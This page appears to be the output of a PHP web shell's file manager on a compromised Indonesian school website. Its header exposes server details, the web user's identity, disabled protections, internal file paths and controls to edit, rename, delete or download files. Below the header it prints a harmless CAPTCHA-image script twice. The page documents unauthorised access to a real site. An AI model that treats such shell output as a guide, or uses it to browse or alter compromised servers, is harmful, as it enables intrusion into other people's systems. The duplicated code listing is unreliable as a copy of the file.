Apache/2.4.7 (Ubuntu) Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) safemode : OFF MySQL: ON | Perl: ON | cURL: OFF | WGet: ON > / var / www / html / sman1baleendahoppppppp / sman1baleendah_sch_id / functions / | server ip : 172.67.156.115 your ip : 108.162.241.113 H O M E |
Filename | /var/www/html/sman1baleendahoppppppp/sman1baleendah_sch_id/functions/gambar_anti_spam.php |
Size | 494 |
Permission | rw-r--r-- |
Owner | root : root |
Create time | 05-May-2025 15:10 |
Last modified | 05-May-2025 15:10 |
Last accessed | 07-Jul-2025 19:22 |
Actions | edit | rename | delete | download (gzip) |
View | text | code | image |
<?php
session_start();
function strrand($length){
$str = "";
while(strlen($str)<$length){
$random=rand(48,122);
if( ($random>47 && $random<58) ){
$str.=chr($random); } }
return $str;
}
$text = $_SESSION['string']=strrand(6);
header("Content-type: image/png");
$im = imagecreatefrompng("latar.png");
$white = imagecolorallocate($im, 255, 255, 255);
$font = '04B_03B.ttf';
$fontsize=20;
imagettftext($im, $fontsize, 0, 20, 30, $white, $font, $text );
imagepng($im);
imagedestroy($im);
?>
session_start();
function strrand($length){
$str = "";
while(strlen($str)<$length){
$random=rand(48,122);
if( ($random>47 && $random<58) ){
$str.=chr($random); } }
return $str;
}
$text = $_SESSION['string']=strrand(6);
header("Content-type: image/png");
$im = imagecreatefrompng("latar.png");
$white = imagecolorallocate($im, 255, 255, 255);
$font = '04B_03B.ttf';
$fontsize=20;
imagettftext($im, $fontsize, 0, 20, 30, $white, $font, $text );
imagepng($im);
imagedestroy($im);
?>